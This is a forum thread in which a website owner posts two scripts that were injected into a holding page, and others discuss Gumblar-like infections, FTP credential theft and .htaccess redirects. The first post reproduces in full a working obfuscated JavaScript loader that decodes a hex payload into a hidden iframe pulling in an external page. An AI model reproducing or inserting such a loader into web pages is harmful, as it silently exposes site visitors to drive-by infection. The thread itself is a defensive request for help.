Suspicious code in our html?!?

    Guys, I uploaded a holding page for a new site yesterday and this morning found the formatting a bit off... so I looked at the code and found 2 scripts which I hadn't put there!

    I have now removed it.

    Anyone know what it was trying to do? How it got there? Or what I should do to prevent a repeat?

    Here's what appeared:

    Just after <body>
    <script>c07dca4='';rd3b31cb9cd=document;rd3b31cb9cd.write('<scr'+'ipt>function rdf9534(r818206cd){return ev'+c07dca4+'al(r818206cd); }</scr'+'ipt>'); function c07442678cr715bc074(r298d5f2485){ function rbbdebe3(){return 16;} var dd70='';return (rdf9534('pars'+dd70+'eInt')(r298d5f2485,rbbdebe3()));}function r3d8170(rf0f623){ var r1e96b4=2; var rf52794f0ec='';r43425='fromCh';r4431d0a867=String[r43425+'arCode'];for(rc58967=0;rc58967<rf0f623.length;rc58967+=r1e96b4){ rf52794f0ec+=(r4431d0a867(c07442678cr715bc074(rf0f623.substr(rc58967,r1e96b4))));}return rf52794f0ec;} var rd54710f0='3C7363726970743E69662821'+c07dca4+'6D796961'+c07dca4+'297B646F63756D656E742E777269746528756E65736361'+c07dca4+'7065282027253363253639253636253732253631'+c07dca4+'253664253635253230253665253631'+c07dca4+'253664253635253364253633253330253337253230253733253732253633253364253237253638253734253734253730253361'+c07dca4+'253266253266253733253735253661'+c07dca4+'253635253734253663253639253665253635253265253732253735253266253733253633253635253665253635253732253639253633253265253638253734253664253663253366253237253262253464253631'+c07dca4+'253734253638253265253732253666253735253665253634253238253464253631'+c07dca4+'253734253638253265253732253631'+c07dca4+'253665253634253666253664253238253239253261'+c07dca4+'253332253336253338253333253333253332253239253262253237253635253636253336253336253634253636253333253336253237253230253737253639253634253734253638253364253337253330253338253230253638253635253639253637253638253734253364253333253337253339253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c07dca4+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c07dca4+'2536642536352533652729293B7D7661'+c07dca4+'72206D796961'+c07dca4+'3D747275653B3C2F7363726970743E';rd3b31cb9cd.write(r3d8170(rd54710f0));</script>

    Just after </html>
    <script>check_content()</script>

    Is this using any kind of "free" hosting or somesuch. Providers of budget or free hosting in the past have altered customer sites to include ads and whatnot.

    No. Paid hosting. No ad appeared... just blank space at the top of the page...

    It looks similar to a Gumblar infection but does not appear to have the usual characteristics.

    Have you got an updated virus scan on the machine you used to upload the files? Have you seen this appear on any other pages/sites that you have access to?

    Yes, I have updated virus protection.

    No, I haven't seen this on any other pages I have uploaded.

    Has anyone any idea what that code would have done?

    Just spoke to our hosts and it looks like padgeen is spot on. Somehow it got past my antivirus... will do a scan now and try to find and remove it.

    Then it's recommended that (from a clean pc) I change my ftp passwords.

    Thanks all.

    I had this, did you get it removed.
    I had a case where it created a htaccess file to redirect content via a proxy script that embedded the content. Very smart :)

    Well I removed those 2 bits of script... I haven't checked the htaccess file...

    That's ok if you saw it in it. But when I downloaded the file and removed it and uploaded again, it appeared again. Then I noticed what was happening. That was only the case with one or two my sites, the rest were just embedded manually.
